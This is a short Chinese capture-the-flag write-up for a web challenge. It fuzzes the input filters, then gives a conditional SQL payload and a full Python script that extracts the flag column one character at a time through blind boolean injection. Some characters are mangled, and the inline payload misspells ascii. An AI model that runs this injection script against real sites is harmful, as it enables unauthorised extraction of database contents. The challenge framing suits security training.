打开网页我们可以得到表名和列名都为flag 在输入框内输入1得到
输入2得到
?
?输入3时
发现报错于是尝试注入 1 union select 1,2
?发现受限制我们进行一个fuzz测试
长度为460的都是被过滤的 看了大佬的方法发现这里运用sql三目运算 if(表达式1,表达式2,表达式3)如果表达式1正确,执行表达式2,否则执行表达式3
if(ascil(substr((select(flag)from(flag)),%d,1))>%d,1,2)''%(x,mid)
用大佬的脚本跑到得到flag
import requests import time
url = "http://be7c3bbe-f847-4c30-bfbd-baa005a54773.node3.buuoj.cn/index.php" payload = { ?? ?"id" : "" } result = "" for i in range(1,100): ?? ?l = 33 ?? ?r =130 ?? ?mid = (l+r)>>1 ?? ?while(l<r): ?? ??? ?payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid) ?? ??? ?html = requests.post(url,data=payload) ?? ??? ?print(payload) ?? ??? ?if "Hello" in html.text: ?? ??? ??? ?l = mid+1 ?? ??? ?else: ?? ??? ??? ?r = mid ?? ??? ?mid = (l+r)>>1 ?? ?if(chr(mid)==" "): ?? ??? ?break ?? ?result = result + chr(mid) ?? ?print(result) print("flag: " ,result)

?
?
|